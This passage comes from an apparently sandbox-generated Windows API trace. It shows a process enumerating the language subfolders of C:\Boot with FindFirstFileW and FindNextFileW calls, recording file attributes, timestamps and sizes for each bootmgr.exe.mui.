ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0060.965] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.965] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.965] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.965] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.965] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.965] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.966] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0060.966] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.966] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.966] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.966] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.966] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.966] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.966] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0060.966] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.966] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.966] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.966] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.966] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.966] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.967] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0060.967] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.967] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.967] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.967] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.967] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.967] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.967] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0060.967] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.967] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.967] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.967] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.967] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.968] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.968] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0060.968] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.968] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.968] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.968] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.968] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.968] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.968] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0060.968] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.968] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.968] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.968] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.968] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.969] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.969] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0060.969] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.969] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.969] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.969] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.969] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.969] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.969] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0060.969] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.969] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.969] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.969] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.969] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.970] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.970] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0060.970] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.970] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.970] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.970] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.970] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.970] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.970] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0060.970] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.970] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 